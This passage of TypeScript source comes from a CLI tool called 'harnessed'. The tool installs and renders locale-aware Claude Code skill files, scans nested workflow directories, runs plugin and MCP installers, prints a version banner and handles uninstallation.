string\n}\n\n/** Load + parse `<workflowsDir>/capabilities.yaml` → CapabilityMap. */\nexport async function loadCapabilities(workflowsDir: string): Promise<CapabilityMap> {\n  const path = join(workflowsDir, 'capabilities.yaml')\n  const raw = await readFile(path, 'utf8')\n  const doc = parseYaml(raw) as { capabilities?: CapabilityMap }\n  return doc?.capabilities ?? {}\n}\n\n/**\n * Render `{{ capabilities.<name>.cmd }}` placeholders in a single installed\n * `~/.claude/skills/<name>/SKILL.md` file in-place.\n *\n * Non-fatal: any read/write/parse error returns a result with `error` set so\n * caller (setup.ts) can warn-and-continue (sister fallback 铁律 1).\n */\nexport async function renderSkillFile(\n  skillName: string,\n  skillsBase: string,\n  capabilities: CapabilityMap,\n  installedPlugins: Set<string>,\n  installedUserSkills: Set<string>,\n  locale?: SupportedLocale,\n): Promise<SkillRenderResult> {\n  const dir = join(skillsBase, skillName)\n  // Phase 29: dest holds a single SKILL.md (the exact name CC reads). The SOURCE\n  // body is locale-picked (zh-Hans sibling when present + locale=zh), but the\n  // rendered result is ALWAYS written to dest SKILL.md. en (or no sibling) →\n  // srcName === 'SKILL.md' → byte-identical to pre-29 behavior (landmine 3).\n  const resolved = locale ?? getLocale()\n  const srcName = resolveSkillBodyFilename(dir, resolved)\n  const srcPath = join(dir, srcName)\n  const destPath = join(dir, 'SKILL.md')\n  const result: SkillRenderResult = {\n    name: skillName,\n    skillPath: destPath,\n    rendered: false,\n    warnings: [],\n  }\n  let body: string\n  try {\n    body = await readFile(srcPath, 'utf8')\n  } catch (e) {\n    result.error = `read failed: ${(e as Error).message}`\n    return result\n  }\n  const rendered = renderSkillBody(body, capabilities, installedPlugins, installedUserSkills)\n  // Did the source differ from the dest SKILL.md? (Always true when a zh sibling\n  // was selected — even if no placeholders changed — because the dest currently\n  // carries the en body and must be overwritten with the zh body.)\n  const localeBodySelected = srcName !== 'SKILL.md'\n  const needsWrite = localeBodySelected || rendered.body !== body\n  if (!needsWrite) {\n    // No placeholders AND no locale switch — no-op (e.g. research/SKILL.md has none).\n    result.warnings = rendered.warnings\n    return result\n  }\n  try {\n    await writeFile(destPath, rendered.body, 'utf8')\n    result.rendered = rendered.body !== body\n    result.warnings = rendered.warnings\n  } catch (e) {\n    result.error = `write failed: ${(e as Error).message}`\n    return result\n  }\n  // Strip any locale-body siblings from the dest so the install dir holds a single\n  // SKILL.md. ONLY runs when a locale body was actually selected — en path performs\n  // no deletes, keeping the en install byte-for-byte identical (landmine 3).\n  if (localeBodySelected) {\n    for (const loc of LOCALE_SIBLINGS) {\n      const sibling = skillBodyFilename(loc)\n      if (sibling === 'SKILL.md') continue\n      try {\n        await rm(join(dir, sibling), { force: true })\n      } catch {\n        // non-fatal: leftover sibling is harmless (CC reads SKILL.md only).\n      }\n    }\n  }\n  return result\n}\n\n/**\n * Render placeholders for many installed skills in sequence (small N — 25 skills).\n * Serial avoids fs write contention; total cost is <100ms in practice.\n */\nexport async function renderAllSkills(\n  skillNames: string[],\n  skillsBase: string,\n  workflowsDir: string,\n  homedirOverride?: string,\n  locale?: SupportedLocale,\n): Promise<{ results: SkillRenderResult[]; aggregatedWarnings: string[] }> {\n  // Resolve locale ONCE for the whole loop (don't make each renderSkillFile\n  // re-detect — landmine 6 robust path). Caller (setup.ts) may also pass it.\n  const resolvedLocale = locale ?? getLocale()\n  let capabilities: CapabilityMap = {}\n  try {\n    capabilities = await loadCapabilities(workflowsDir)\n  } catch (e) {\n    // capabilities.yaml unreadable → return all-skipped result with a single\n    // aggregated warning. Setup remains non-blocking.\n    return {\n      results: skillNames.map((name) => ({\n        name,\n        skillPath: join(skillsBase, name, 'SKILL.md'),\n        rendered: false,\n        warnings: [],\n        error: `capabilities.yaml load failed: ${(e as Error).message}`,\n      })),\n      aggregatedWarnings: [\n        `capabilities.yaml unreadable — SKILL.md placeholders left verbatim (${(e as Error).message})`,\n      ],\n    }\n  }\n  const installedPlugins = readInstalledPlugins(homedirOverride)\n  const installedUserSkills = readInstalledUserSkills(homedirOverride)\n  const results: SkillRenderResult[] = []\n  const warningSet = new Set<string>()\n  for (const name of skillNames) {\n    const r = await renderSkillFile(\n      name,\n      skillsBase,\n      capabilities,\n      installedPlugins,\n      installedUserSkills,\n      resolvedLocale,\n    )\n    results.push(r)\n    for (const w of r.warnings) warningSet.add(w)\n    if (r.error) warningSet.add(`${name}: ${r.error}`)\n  }\n  return { results, aggregatedWarnings: [...warningSet] }\n}\n","// Phase 29 T29.1 — locale-aware SKILL.md body picker (install-time resolve layer).\n//\n// Claude Code reads ~/.claude/skills/<name>/SKILL.md by EXACT filename at runtime;\n// harnessed has no read-time hook, so the locale-correct body must be selected at\n// `setup` time and written into the dest SKILL.md. This module is the picker: given\n// a copied skill dir and a resolved locale, it returns WHICH source file the render\n// step should read the body from.\n//\n// Landmine 1 (findings): locale parsing lives in i18n/index.ts — call getLocale()\n// directly. Do NOT add a third copy of mapToSupported.\n// Landmine 3: en (and any locale with no sibling) MUST resolve to 'SKILL.md' so the\n// en-default install stays byte-identical to current behavior.\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { getLocale, type SupportedLocale } from '../../i18n/index.js'\n\n/**\n * Pure map: locale → the conventional body filename.\n *   zh-Hans → 'SKILL.zh-Hans.md'\n *   en      → 'SKILL.md'\n * Forward-compat: when ja/ko/etc. ship, extend SupportedLocale + this branch.\n */\nexport function skillBodyFilename(locale: SupportedLocale): string {\n  return locale === 'en' ? 'SKILL.md' : `SKILL.${locale}.md`\n}\n\n/**\n * Resolve which source body file the render step should read for `skillDir`.\n *\n * - locale defaults to getLocale() (HARNESSED_LANG → LC_ALL → LANG → … → en).\n * - Returns the locale sibling name ONLY when that file exists on disk; otherwise\n *   falls back to 'SKILL.md' (graceful — no sibling = today's behavior).\n * - en always returns 'SKILL.md' (skillBodyFilename), so existsSync is never even\n *   consulted for en → byte-identical en install (landmine 3).\n */\nexport function resolveSkillBodyFilename(skillDir: string, locale?: SupportedLocale): string {\n  const resolved = locale ?? getLocale()\n  const candidate = skillBodyFilename(resolved)\n  if (candidate === 'SKILL.md') return 'SKILL.md'\n  return existsSync(join(skillDir, candidate)) ? candidate : 'SKILL.md'\n}\n","// Phase v2.0-2.6 W0 close cleanup — Karpathy ≤200L split for src/cli/setup.ts (CK deferred).\n// Sister Phase 3.4 W1 doctor.ts inline shrink + origin-check.ts sister-share extract pattern.\n// Extracts: (1) Agent Teams warn UX, (2) workflow SKILL.md scan, (3) Step B parallel install.\n//\n// Phase v3.0-3.3 T3.3.W0.12 — nested 2-level scan returning NestedWorkflow[] so\n// callers can flatten slash-cmd name + know master vs sub-stage. Scan logic lives\n// in ./scan-nested.ts (karpathy ≤200L split).\n//\n// v3.6.1 — removed renderDeprecationBlock re-export + ScanResult.deprecated field.\n\nimport { readFile } from 'node:fs/promises'\nimport { runInstall } from '../../installers/index.js'\nimport { isAlreadyInstalled } from '../../installers/lib/idempotent.js'\nimport { detectPlatform } from '../../installers/lib/platform.js'\nimport type { InstallContext, InstallOpts, Manifest } from '../../installers/lib/types.js'\nimport { validateManifestFile } from '../../manifest/validate.js'\nimport { checkAgentTeams } from './checkAgentTeams.js'\nimport type { ScanResult } from './scan-nested.js'\nimport { scanWorkflowsNested } from './scan-nested.js'\n\nexport type { NestedWorkflow, ScanResult } from './scan-nested.js'\n\n// v3.9.5 — removed stale PHASE_21 deferred-method set. Per src/installers/index.ts\n// L1-2 (\"All 6 methods are now runtime-ready\"), all installer dispatchers\n// (ccPluginMarketplace / gitCloneWithSetup / npxSkillInstaller / mcpHttpAdd /\n// mcpStdioAdd / npmCli) are fully implemented. The PHASE_21 short-circuit was\n// v1.0.2 placeholder code never cleaned up; in v3.9.0 dogfood it caused 12+\n// manifests to be reported as \"skipped (deferred phase 2.1)\" when in fact\n// users either already had them installed or could install via the live\n// dispatcher. Now manifests run through runInstall verbatim — installer's\n// own idempotent_check decides already-installed vs install-now.\n\n/**\n * Phase v2.0-2.3 W1.1: Agent Teams env probe (non-blocking warn).\n * Per Q-AUDIT-5b + R20.11 acceptance e + PLAN-ENG-REVIEW § Section 5 [LOW]:\n * Warn-only if missing — parallelism-gate runtime degrades to subagent fan-out\n * when Agent Teams CC env flag is off (session-scoped tolerance policy).\n */\nexport async function warnIfAgentTeamsMissing(): Promise<void> {\n  // v4.14.0 — Agent Teams is a Claude Code concept (CC 2.1.133+ env flag); on\n  // any other harness platform the warning + `claude config set` remediation\n  // are meaningless noise → silent no-op.\n  if (detectPlatform().id !== 'claude') return\n  const r = await checkAgentTeams()\n  if (r.status !== 'missing') return\n  console.warn('\\n⚠️  Agent Teams 未启用 — parallelism-gate 升级路径不可用')\n  console.warn('   修复: claude config set env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS 1')\n  console.warn(\n    '   说明: harnessed v3.0 三层栈方法论 parallelism-gate 升级路径需 CC 2.1.133+ Agent Teams enable',\n  )\n  console.warn(\n    '   不阻塞 setup,后续 parallelism-gate workflow phase 触发时自动降级 subagent fan-out\\n',\n  )\n  // NOT exit — non-blocking per R20.11 acceptance a\n}\n\n/** v3.0 nested 2-level scan — returns NestedWorkflow[]. */\nexport async function scanWorkflowsWithSkill(\n  workflowsDir: string,\n  entries: string[],\n): Promise<ScanResult> {\n  return scanWorkflowsNested(workflowsDir, entries)\n}\n\nexport interface StepBResult {\n  installed: string[]\n  alreadyInstalled: string[]\n  // v3.9.8 — skipped now carries reason (e.g. \"level-flag-missing: ctx7 npm-cli L4\n  // requires --system flag\"). Previously skipped was `string[]` and the print\n  // line read \"[B] skipped <name>\" with no explanation.\n  skipped: { name: string; reason: string }[]\n  failed: string[]\n  elapsedMs: number\n  // v3.9.21 — per-manifest component_type for grouped output in setup display.\n  // Map<name, 'mcp-tool' | 'cli-binary' | 'command'>; missing entries display as 'other'.\n  componentTypes: Record<string, string>\n  // Patch 4.10.1 Fix C — force-update refresh failures whose component is still\n  // present on disk (prior version retained). Rendered as a WARN bucket, not an\n  // error: \"kept existing — refresh failed, prior version retained\". Only ever\n  // populated by the force-update second pass after reclassifyForceUpdateFailures.\n  keptExisting?: string[]\n}\n\n/** v4.13.0 — per-manifest completion event for live setup progress output.\n *  `done` is the count of finished manifests (1-based) at emission time. */\nexport interface StepBProgressEvent {\n  done: number\n  total: number\n  name: string\n  status: 'installed' | 'already-installed' | 'skipped' | 'failed'\n}\n\ntype StepBEntry =\n  | { status: 'installed' | 'already-installed'; name: string }\n  | { status: 'skipped' | 'failed'; name: string; reason: string }\n\n/** MCP installers spawn `claude mcp add --scope user`, which read-modify-writes\n *  the WHOLE ~/.claude.json. Running them concurrently is a lost-update race:\n *  the last writer wins and clobbers the other servers' entries (v4.13.0 user\n *  dogfood: tavily survived, chrome-devtools-mcp + exa-mcp verify-failed with\n *  \"file may have been overwritten\"). These methods must be serialized. */\nconst MCP_METHODS = new Set(['mcp-stdio-add', 'mcp-http-add'])\n\n/** Step B: parallel install-base auto-glob chain via Promise.allSettled (v1.0.3 T1.1).\n *  v3.9.6 — `runOpts.updateInstalled` (optional) forces re-install for plugins\n *  whose idempotent_check would otherwise short-circuit; MCP installers ignore\n *  the flag (sister mcpStdioAdd / mcpHttpAdd — config never overwritten).\n *  v4.13.0 — MCP manifests (MCP_METHODS) run SEQUENTIALLY in their own chain\n *  (shared ~/.claude.json writer race); all other manifests keep full\n *  Promise.allSettled parallelism. The two groups run concurrently with each\n *  other. `runOpts.onProgress` fires once per finished manifest. */\nexport async function runStepBInstall(\n  manifestPaths: string[],\n  runOpts: {\n    updateInstalled?: boolean\n    quiet?: boolean\n    onProgress?: (ev: StepBProgressEvent) => void\n  } = {},\n): Promise<StepBResult> {\n  const opts: InstallOpts = {\n    apply: true,\n    dryRun: false,\n    system: false,\n    nonInteractive: true,\n    fullDiff: false,\n    color: 'auto',\n    updateInstalled: runOpts.updateInstalled === true,\n    quiet: runOpts.quiet === true,\n  }\n  const start = Date.now()\n  const componentTypes: Record<string, string> = {}\n  const total = manifestPaths.length\n  let done = 0\n  const emit = (entry: StepBEntry): StepBEntry => {\n    done += 1\n    try {\n      runOpts.onProgress?.({ done, total, name: entry.name, status: entry.status })\n    } catch {\n      /* progress printer must never break the install chain */\n    }\n    return entry\n  }\n\n  // Pre-read + validate ALL manifests first (fast, local I/O) so we can\n  // partition by install method before any installer spawns.\n  const invalid: StepBEntry[] = []\n  const valid: Array<{ manifest: Manifest }> = []\n  for (const path of manifestPaths) {\n    let yamlSrc: string\n    try {\n      yamlSrc = await readFile(path, 'utf8')\n    } catch (e) {\n      invalid.push(emit({ status: 'failed', name: path, reason: `read: ${(e as Error).message}` }))\n      continue\n    }\n    const v = validateManifestFile(yamlSrc, path)\n    if (!v.ok) {\n      invalid.push(\n        emit({\n          status: 'failed',\n          name: path,\n          reason: `validate: ${v.errors[0]?.message ?? 'unknown'}`,\n        }),\n      )\n      continue\n    }\n    componentTypes[v.manifest.metadata.name] = v.manifest.spec.component_type\n    valid.push({ manifest: v.manifest })\n  }\n\n  const runOne = async (manifest: Manifest): Promise<StepBEntry> => {\n    const name = manifest.metadata.name\n    try {\n      const r = await runInstall(manifest, opts)\n      if ('aborted' in r) {\n        // v4.14.0 — bare 'harness-mismatch' tells the user nothing; expand to a\n        // self-explanatory skip note (platform id from the active descriptor).\n        const reason =\n          r.reason === 'harness-mismatch'\n            ? `harness-mismatch — claude-only install method (no ${detectPlatform().id} equivalent)`\n            : r.reason\n        return emit({ status: 'skipped', name, reason })\n      }\n      if (r.ok && 'alreadyInstalled' in r && r.alreadyInstalled)\n        return emit({ status: 'already-installed', name })\n      if (r.ok) return emit({ status: 'installed', name })\n      return emit({ status: 'failed', name, reason: r.error.message })\n    } catch (e) {\n      return emit({ status: 'failed', name, reason: String(e) })\n    }\n  }\n\n  const mcp = valid.filter((v) => MCP_METHODS.has(v.manifest.spec.install.method))\n  const rest = valid.filter((v) => !MCP_METHODS.has(v.manifest.spec.install.method))\n  const runMcpSerial = async (): Promise<StepBEntry[]> => {\n    const out: StepBEntry[] = []\n    for (const { manifest } of mcp) out.push(await runOne(manifest))\n    return out\n  }\n  const [mcpEntries, restSettled] = await Promise.all([\n    runMcpSerial(),\n    Promise.allSettled(rest.map(({ manifest }) => runOne(manifest))),\n  ])\n  const restEntries: StepBEntry[] = restSettled.map((s) =>\n    s.status === 'fulfilled'\n      ? s.value\n      : { status: 'failed', name: '?', reason: String((s as PromiseRejectedResult).reason) },\n  )\n\n  const installed: string[] = []\n  const alreadyInstalled: string[] = []\n  const skipped: { name: string; reason: string }[] = []\n  const failed: string[] = []\n  for (const v of [...invalid, ...mcpEntries, ...restEntries]) {\n    if (v.status === 'installed') installed.push(v.name)\n    else if (v.status === 'already-installed') alreadyInstalled.push(v.name)\n    else if (v.status === 'skipped') skipped.push({ name: v.name, reason: v.reason })\n    else if (v.status === 'failed') failed.push(`${v.name}: ${v.reason}`)\n  }\n  return {\n    installed,\n    alreadyInstalled,\n    skipped,\n    failed,\n    elapsedMs: Date.now() - start,\n    componentTypes,\n  }\n}\n\n// ── Patch 4.10.1 Fix C — force-update fail-soft (comet ensureOpenSpecCli) ──────\n//\n// A force-update second pass re-runs install for already-installed plugins. If a\n// refresh fails BUT the component is still present on disk, reporting it as\n// `failed` is misleading — the prior working version is retained. comet's\n// `ensureOpenSpecCli` principle: an UPGRADE failure is not fatal; fall back to\n// the existing install + warn. We reclassify such entries `failed → keptExisting`.\n//\n// `failed` entries are verbatim `\"<name>: <reason>\"` strings (runStepBInstall\n// format); `alreadyInstalled` entries are bare names from the FIRST pass (the\n// set of components that existed before force-update touched them).\n\nexport interface ForceUpdateReclassification {\n  /** Remaining genuine failures, verbatim `\"<name>: <reason>\"` form. */\n  failed: string[]\n  /** Bare component names whose refresh failed but whose prior install survives. */\n  keptExisting: string[]\n}\n\n/** Pure (probe-injected) reclassification. For each force-pass failure that was\n *  already-installed before the pass, run `probe(name)`: still present → move to\n *  keptExisting; absent (or probe throws) → keep as failed (honest). Failures\n *  for components NOT previously installed (fresh-install failures) are never\n *  probed — they stay failed. */\nexport async function reclassifyForceUpdateFailures(\n  firstPass: StepBResult,\n  forcePass: StepBResult,\n  probe: (name: string) => Promise<boolean>,\n): Promise<ForceUpdateReclassification> {\n  const priorlyInstalled = new Set(firstPass.alreadyInstalled)\n  const failed: string[] = []\n  const keptExisting: string[] = []\n  for (const entry of forcePass.failed) {\n    const name = (entry.match(/^([^:]+):/)?.[1] ?? entry).trim()\n    if (priorlyInstalled.has(name)) {\n      let present = false\n      try {\n        present = await probe(name)\n      } catch {\n        present = false\n      }\n      if (present) {\n        keptExisting.push(name)\n        continue\n      }\n    }\n    failed.push(entry)\n  }\n  return { failed, keptExisting }\n}\n\n/** Build the real idempotent_check probe used by setup's force-update fail-soft.\n *  Pre-validates the manifest set into a name→Manifest map, then returns a probe\n *  that runs the shared `isAlreadyInstalled` detector (native fs / plugin-registry\n *  first, shell idempotent_check fallback). `honorUpdateFlag` is left default —\n *  opts.updateInstalled is false here, so detection runs for real. Unknown names\n *  or read/validate failures resolve to `false` (treated as absent → stays failed). */\nexport async function makeIdempotentProbe(\n  manifestPaths: string[],\n): Promise<(name: string) => Promise<boolean>> {\n  const byName = new Map<string, Manifest>()\n  for (const path of manifestPaths) {\n    try {\n      const yamlSrc = await readFile(path, 'utf8')\n      const v = validateManifestFile(yamlSrc, path)\n      if (v.ok) byName.set(v.manifest.metadata.name, v.manifest)\n    } catch {\n      /* unreadable manifest → name simply absent from map → probe false */\n    }\n  }\n  return async (name: string): Promise<boolean> => {\n    const manifest = byName.get(name)\n    if (!manifest) return false\n    const opts: InstallOpts = {\n      apply: false,\n      dryRun: false,\n      system: false,\n      nonInteractive: true,\n      fullDiff: false,\n      color: 'auto',\n      updateInstalled: false,\n      quiet: true,\n    }\n    const ctx: InstallContext = { manifest, opts, level: 'L2', cwd: process.cwd() }\n    try {\n      return await isAlreadyInstalled(ctx)\n    } catch {\n      return false\n    }\n  }\n}\n","// Phase v3.0-3.3 T3.3.W0.12 — Nested workflows/<stage>/<sub>/ 2-level scan helper.\n//\n// Contract:\n//   Path A: flat top-level SKILL.md (research / retro / auto — standalone v3 workflows).\n//   Path B: nested 2-level workflows/<stage>/<sub>/SKILL.md\n//           - sub === 'auto'  → master, slash-cmd flatten to bare `<stage>`\n//           - sub !== 'auto'  → sub-stage, slash-cmd flatten to `<stage>-<sub>`\n//   Skip:   disciplines/ + judgments/ (K10 — non-workflow manifest dirs).\n\nimport { readdir, stat } from 'node:fs/promises'\nimport { join } from 'node:path'\n\nexport interface NestedWorkflow {\n  /** Slash-cmd name (flat) — e.g. \"discuss-strategic\" or \"discuss\" (master). */\n  name: string\n  /** Source dir relative to workflowsDir — e.g. \"discuss/strategic\" or \"research\". */\n  relPath: string\n  /** Whether this is a master (nested at <stage>/auto/SKILL.md). */\n  isMaster: boolean\n}\n\n/** Flat top-level dirs that remain valid as standalone v3 workflows.\n *  research / retro / auto: native standalone v3 workflows. */\nexport const FLAT_LEGACY_KEEP = new Set(['research', 'retro', 'auto'])\n\n/** v3.1.0 — Top-level standalone dirs that are super-masters (isMaster=true flag\n *  for setup.ts `(master)` tag rendering). Currently only `auto`; sister research /\n *  retro remain non-master standalone workflows. */\nexport const FLAT_TOP_LEVEL_MASTERS = new Set(['auto'])\n\n/** Non-workflow manifest dirs to skip during nested scan (K10 mitigation). */\nexport const NON_WORKFLOW_DIRS = new Set(['disciplines', 'judgments'])\n\nexport interface ScanResult {\n  workflows: NestedWorkflow[]\n}\n\n/** Nested 2-level scan: top-level + 1 nested depth. */\nexport async function scanWorkflowsNested(\n  workflowsDir: string,\n  entries: string[],\n): Promise<ScanResult> {\n  const workflows: NestedWorkflow[] = []\n\n  for (const entry of entries.sort()) {\n    if (NON_WORKFLOW_DIRS.has(entry)) continue // K10 — skip disciplines/ + judgments/\n\n    const src = join(workflowsDir, entry)\n    let s: { isDirectory: () => boolean }\n    try {\n      s = await stat(src)\n    } catch {\n      continue\n    }\n    if (!s.isDirectory()) continue\n\n    // Path A: flat top-level SKILL.md (v2 legacy OR standalone v3 keep).\n    let hasFlatSkill = false\n    try {\n      await stat(join(src, 'SKILL.md'))\n      hasFlatSkill = true\n    } catch {\n      hasFlatSkill = false\n    }\n\n    if (hasFlatSkill) {\n      if (FLAT_LEGACY_KEEP.has(entry)) {\n        workflows.push({ name: entry, relPath: entry, isMaster: FLAT_TOP_LEVEL_MASTERS.has(entry) })\n        continue\n      }\n      // Unknown flat top-level with SKILL.md — install as-is (forward compat).\n      workflows.push({ name: entry, relPath: entry, isMaster: false })\n      continue\n    }\n\n    // Path B: nested 2-level — workflows/<stage>/<sub>/SKILL.md\n    let subEntries: string[]\n    try {\n      subEntries = await readdir(src)\n    } catch {\n      continue\n    }\n    for (const sub of subEntries.sort()) {\n      const subDir = join(src, sub)\n      let ss: { isDirectory: () => boolean }\n      try {\n        ss = await stat(subDir)\n      } catch {\n        continue\n      }\n      if (!ss.isDirectory()) continue\n      try {\n        await stat(join(subDir, 'SKILL.md'))\n      } catch {\n        continue\n      }\n      // Flatten to slash-cmd name (per D-02 bare cmd):\n      //   workflows/discuss/auto/      → /discuss          (master)\n      //   workflows/discuss/strategic/ → /discuss-strategic (sub-stage)\n      const name = sub === 'auto' ? entry : `${entry}-${sub}`\n      workflows.push({ name, relPath: `${entry}/${sub}`, isMaster: sub === 'auto' })\n    }\n  }\n\n  return { workflows }\n}\n","// Patch 4.11.1 — setup version banner (extracted to its own module so the\n// setup-helpers mock in setup-locale/setup-platform tests no longer has to carry\n// a versionBannerLines export). `harnessed setup` prints its own version + an\n// npm-latest comparison at the very top of the run so users (and bug reports)\n// unambiguously know which build ran — a stale log was mistaken for a new-version\n// regression.\n\nimport pkg from '../../../package.json' with { type: 'json' }\nimport { compareVersions, fetchLatestVersion } from './version-check.js'\n\n/** Build the banner lines for `harnessed setup`. Line 1 is always the installed\n *  version; line 2 (when determinable) is the npm-latest verdict:\n *    behind  → `⚠ update available: <installed> → <latest> — npm install -g harnessed@latest`\n *    current → `✓ latest (v<latest>)`\n *    ahead   → `✓ latest (v<installed>)` (local/dev build newer than npm)\n *    offline → `  could not check latest version`\n *    unknown (malformed version) → no verdict line (no false claim). */\nexport function versionBannerLines(installed: string, latest: string | null): string[] {\n  const lines = [`harnessed setup v${installed}`]\n  if (latest === null) {\n    lines.push('  could not check latest version')\n    return lines\n  }\n  const cmp = compareVersions(installed, latest)\n  if (cmp === 'behind') {\n    lines.push(`⚠ update available: ${installed} → ${latest} — npm install -g harnessed@latest`)\n  } else if (cmp === 'current') {\n    lines.push(`✓ latest (v${latest})`)\n  } else if (cmp === 'ahead') {\n    lines.push(`✓ latest (v${installed})`)\n  }\n  return lines\n}\n\n/** ASCII wordmark printed atop `harnessed setup` (Calvin S box-drawing font) +\n *  a parrot tagline nodding to the README joke (\"parrots mimic — we orchestrate\"). */\nconst BANNER_ART = [\n  '╦ ╦╔═╗╦═╗╔╗╔╔═╗╔═╗╔═╗╔═╗╔╦╗',\n  '╠═╣╠═╣╠╦╝║║║║╣ ╚═╗╚═╗║╣  ║║',\n  '╩ ╩╩ ╩╩╚═╝╚╝╚═╝╚═╝╚═╝╚═╝═╩╝',\n  '🦜 parrots mimic — we orchestrate',\n]\n\n/** Impure — print the ASCII wordmark, then resolve this build's version +\n *  npm-latest (fail-soft, timeout-bounded via fetchLatestVersion; offline → null,\n *  never blocks) and print the version banner. Printed in --dry-run too — the\n *  version is wanted regardless of mode. */\nexport async function printSetupVersionBanner(): Promise<void> {\n  for (const line of BANNER_ART) console.log(line)\n  const latest = await fetchLatestVersion()\n  for (const line of versionBannerLines(pkg.version, latest)) console.log(line)\n}\n","// Phase 5.2 W1 T1.1 — cli subcommand `uninstall` per R10.3 + ADR 0004.\n// Phase v3.9.x — extended with unified uninstall (no-arg: remove harnessed own files).\n//\n// IMPL NOTE (v3.0.1 UX flip — apply-immediate default + --dry-run opt-in):\n// `harnessed uninstall [name]` executes immediately by default (sister install.ts\n// pattern verbatim). Interactive p.confirm() still protects destructive ops.\n// `--dry-run` flag is opt-in preview.\n//\n// Two modes:\n//   harnessed uninstall <name>  — per-manifest uninstall (existing, Phase 5.2)\n//   harnessed uninstall          — unified uninstall: remove harnessed's own files\n//                                  (workflows, commands, settings env vars, state dir),\n//                                  upstream components NOT affected\n//\n// Exit code mapping (ADR 0004 contract 6):\n//   0 → uninstall succeeded\n//   1 → uninstall failed\n//   2 → user-aborted / dry-run preview\n\nimport { readdir, readFile, rm, stat, writeFile } from 'node:fs/promises'\nimport { homedir } from 'node:os'\nimport { join, resolve as pathResolve, sep } from 'node:path'\nimport * as p from '@clack/prompts'\nimport type { Command } from 'commander'\nimport { t } from '../i18n/index.js'\nimport { getHarnessedRoot } from '../installers/lib/harnessedRoot.js'\nimport { detectPlatform } from '../installers/lib/platform.js'\nimport { checkPathSafe } from '../manifest/lib/path-guard.js'\nimport { validateManifestFile } from '../manifest/validate.js'\nimport { runUninstall } from '../uninstallers/index.js'\nimport { shouldOverwriteFile } from './lib/generateCommands.js'\nimport { getPackageRoot } from './lib/packagePath.js'\nimport { scanWorkflowsNested } from './lib/scan-nested.js'\n\ninterface RawOpts {\n  dryRun?: boolean\n}\n\n// ── Unified uninstall helpers ──────────────────────────────────────\n\nasync function discoverCommandFiles(commandsDir: string): Promise<string[]> {\n  const owned: string[] = []\n  let entries: string[]\n  try {\n    entries = await readdir(commandsDir)\n  } catch {\n    return owned\n  }\n  for (const entry of entries) {\n    if (!entry.endsWith('.md')) continue\n    const p = join(commandsDir, entry)\n    try {\n      const content = await readFile(p, 'utf8')\n      if (shouldOverwriteFile(content)) owned.push(p)\n    } catch {\n      // unreadable → skip\n    }\n  }\n  return owned\n}\n\nasync function checkSettingsEnv(settingsPath: string): Promise<{\n  hasAgentTeams: boolean\n  hasUserLang: boolean\n}> {\n  try {\n    const raw = await readFile(settingsPath, 'utf8')\n    const data = JSON.parse(raw) as Record<string, unknown>\n    const env = (data.env ?? {}) as Record<string, unknown>\n    return {\n      hasAgentTeams: 'CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS' in env,\n      hasUserLang: 'HARNESSED_USER_LANG' in env,\n    }\n  } catch {\n    return { hasAgentTeams: false, hasUserLang: false }\n  }\n}\n\nasync function removeSettingsEnv(settingsPath: string): Promise<boolean> {\n  const raw = await readFile(settingsPath, 'utf8')\n  const data = JSON.parse(raw) as Record<string, unknown>\n  const env = (data.env ?? {}) as Record<string, unknown>\n  let changed = false\n  if ('CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS' in env) {\n    delete env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS\n    changed = true\n  }\n  if ('HARNESSED_USER_LANG' in env) {\n    delete env.HARNESSED_USER_LANG\n    changed = true\n  }\n  if (!changed) return false\n  if (Object.keys(env).length === 0) delete data.env\n  else data.env = env\n  await writeFile(settingsPath, `${JSON.stringify(data, null, 2)}\\n`, 'utf8')\n  return true\n}\n\nasync function runUnifiedUninstall(home: string, dryRun: boolean): Promise<void> {\n  // v4.14.0 — dirs via the active PlatformDescriptor (claude byte-identical:\n  // commandsDir/skillsDir/settingsPath resolve to the pre-4.14.0 ~/.claude paths).\n  const platform = detectPlatform(home)\n  const commandsDir = platform.commandsDir\n  const skillsDir = platform.skillsDir\n  const settingsPath = platform.settingsPath\n  const harnessedRoot = getHarnessedRoot()\n\n  // Discover workflow names from bundled workflows/\n  const pkgRoot = getPackageRoot()\n  let workflowNames: string[] = []\n  try {\n    const wfEntries = await readdir(pathResolve(pkgRoot, 'workflows'))\n    const scanResult = await scanWorkflowsNested(pathResolve(pkgRoot, 'workflows'), wfEntries)\n    workflowNames = scanResult.workflows.map((w) => w.name)\n  } catch {\n    // workflows dir missing → skip skill discovery\n  }\n\n  const commandFiles = await discoverCommandFiles(commandsDir)\n  const settingsEnv = await checkSettingsEnv(settingsPath)\n  const hasSettingsChanges = settingsEnv.hasAgentTeams || settingsEnv.hasUserLang\n\n  // Verify skill dirs exist before counting\n  const skillDirs: string[] = []\n  for (const name of workflowNames) {\n    const dir = join(skillsDir, name)\n    try {\n      await stat(dir)\n      skillDirs.push(dir)\n    } catch {\n      // not installed → skip\n    }\n  }\n\n  // ── Summary ─────────────────────────────────────────────────\n  const discoverable = commandFiles.length + skillDirs.length + (hasSettingsChanges ? 1 : 0)\n  if (discoverable === 0) {\n    console.log(t('uninstall.unified.nothing'))\n    process.exit(0)\n  }\n\n  console.log(t('uninstall.unified.header'))\n  if (commandFiles.length > 0)\n    console.log(t('uninstall.unified.commands', { count: commandFiles.length }))\n  if (skillDirs.length > 0) console.log(t('uninstall.unified.skills', { count: skillDirs.length }))\n  if (hasSettingsChanges) console.log(t('uninstall.unified.settings'))\n  console.log(t('uninstall.unified.state_dir'))\n  console.log(t('uninstall.unified.upstream_note'))\n\n  if (dryRun) {\n    console.log(t('uninstall.unified.dry_run_hint'))\n    process.exit(2)\n  }\n\n  // ── Confirmation ────────────────────────────────────────────\n  const answer = await p.confirm({\n    message: t('uninstall.unified.confirm'),\n    initialValue: false,\n  })\n  if (p.isCancel(answer) || answer === false) {\n    console.error(t('uninstall.cancelled'))\n    process.exit(2)\n  }\n\n  // ── Removal (ordered: commands → skills → settings → state dir) ──\n  console.log(t('uninstall.unified.removing'))\n  const failures: string[] = []\n\n  let removedCommands = 0\n  for (const path of commandFiles) {\n    try {\n      await rm(path, { force: true })\n      removedCommands++\n    } catch (e) {\n      failures.push(`${path}: ${(e as Error).message}`)\n    }\n  }\n\n  let removedSkills = 0\n  for (const dir of skillDirs) {\n    try {\n      await rm(dir, { recursive: true, force: true })\n      removedSkills++\n  